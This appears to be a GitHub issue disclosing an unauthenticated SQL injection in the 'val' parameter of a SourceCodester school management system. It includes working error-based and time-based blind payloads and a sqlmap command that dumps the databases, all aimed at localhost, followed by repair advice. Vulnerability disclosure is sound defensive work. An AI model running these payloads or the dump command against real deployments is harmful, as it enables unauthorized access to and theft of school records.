New issue

SourceCodester Advanced School Management System with Complete Features V1.0 SQL Injection in commonController.php via val Parameter #2

Open

eqwerwq opened 2 weeks ago · edited by eqwerwq Edits Owner

NAME OF AFFECTED PRODUCT(S)

- SourceCodester Advanced School Management System with Complete Features

Vendor Homepage

- homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

- TianYu Jiao

Vulnerable File

- commonController.php (line 85)

Vulnerability location:

- val

VERSION(S)

- V1.0

Software Link

- Download Source Code
-

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the 'commonController.php (line 85)' file of the 'Advanced School Management System with Complete Features' project. The reason for this issue is that attackers inject malicious code from the parameter 'val' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Advanced School Management System with Complete Features",TianYu Jiao discovered a critical SQL injection vulnerability in the "commonController.php (line 85)" file. This vulnerability stems from insufficient user input validation of the 'val' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability type:

- error-based
- time-based blind

Payload:

```
Parameter: #1* (URI)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
(GTID_SUBSET)
    Payload:
http://localhost:8888/SchoolManagementSystem/index.php/commonController/checkEmail?
val=admin@admin.com' AND GTID_SUBSET(CONCAT(0x716a627a71,(SELECT
(ELT(3905=3905,1))),0x7171627a71),3905)-- uZPH
    Vector: AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),
[RANDNUM])

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload:
http://localhost:8888/SchoolManagementSystem/index.php/commonController/checkEmail?
val=admin@admin.com' AND (SELECT 5691 FROM (SELECT(SLEEP(5)))dZhZ)-- gTVK
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,
[SLEEPTIME])))))[RANDSTR])
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -u
'http://localhost:8888/SchoolManagementSystem/index.php/commonController/checkEmail?
val=admin@admin.com*' -p val --batch --level=5 --risk=3 --dbs --tables --dump -v 3
```

```
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (GTID_SUBSET)
    Payload: http://localhost:8888/SchoolManagementSystem/index.php/c
ommonController/checkEmail?val=admin@admin.com' AND GTID_SUBSET(CONCA
T(0x716a627a71,(SELECT (ELT(3905=3905,1))),0x7171627a71),3905)-- uZPH
    Vector: AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DE
LIMITER_STOP]'),[RANDNUM])

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://localhost:8888/SchoolManagementSystem/index.php/c
ommonController/checkEmail?val=admin@admin.com' AND (SELECT 5691 FROM
 (SELECT(SLEEP(5)))dZhZ)-- gTVK
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF(
[INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
```

Suggested repair

1. **Use prepared statements and parameter binding:**

Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

1. **Input validation and filtering:**

Strictly validate and filter user input data to ensure it conforms to the expected format.

1. **Minimize database user permissions:**

Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

1. **Regular security audits:**

Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Sign up for free **to join this conversation on GitHub.** Already have an account? Sign in to comment

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants